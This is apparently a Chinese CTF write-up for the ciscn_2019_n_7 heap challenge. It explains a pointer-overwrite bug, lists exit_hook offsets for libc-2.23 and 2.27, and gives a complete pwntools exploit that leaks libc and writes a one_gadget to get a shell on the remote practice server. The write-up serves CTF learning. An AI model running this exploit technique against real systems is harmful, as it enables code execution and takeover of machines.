ciscn_2019_n_7(exit_hook)


又学到了一个新知识

题目的例行检查我就不放了

关键漏洞

 可以看到我们申请的chunk在v1[2】处,这里存放着chunk的地址指针,但是read确实从v1+1开始输入值,说明我们可以去覆盖这个地址

这道题我们利用exit_hook

首先先说一下exit_hook的地址(并不是调用exit_hook,而是在exit中使用到的地址)

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

  这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)

这道题目我不知道为什么有点坑,本地和远程泄露的地址去获得基地址的方式是不一样的

from pwn import *

#p = process('./ciscn_2019_n_7')
p = remote('node4.buuoj.cn',25004)
libc = ELF('./libc-2.23.so')

def lounch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size,name):
    p.sendlineafter('choice-> ','1')
    p.sendlineafter('Length: ',str(size))
    p.sendafter('name:\n',name)
    

def edit(name,contents):
    p.sendlineafter('choice-> \n','2')
    p.sendafter('name:\n',name)
    p.sendafter('contents:\n',contents)

def leak():
    p.sendlineafter('choice->','666')

leak()
lounch_gdb()
p.recvuntil('0x')
libc_info = int(p.recvuntil('\n'),16)
libc_base = libc_info - libc.symbols['puts']
#libc_base = libc_info - 0x6f6a0
print('libc_base-->'+hex(libc_base))
exit_hook = libc_base + 0x5f0040+3848
print('exit_hook-->'+hex(exit_hook))
one_gadget = libc_base + 0xf1147
print('one_gadget-->'+hex(one_gadget))
add(0x30,b'a'*8+p64(exit_hook))

edit('aaaaaaaa',p64(one_gadget))
sleep(0.5)
p.sendline('a')

p.interactive()

 以后应该还会碰到这种题,虽然这道题不难,但是需要记录一下

感谢师傅的文章:

结束!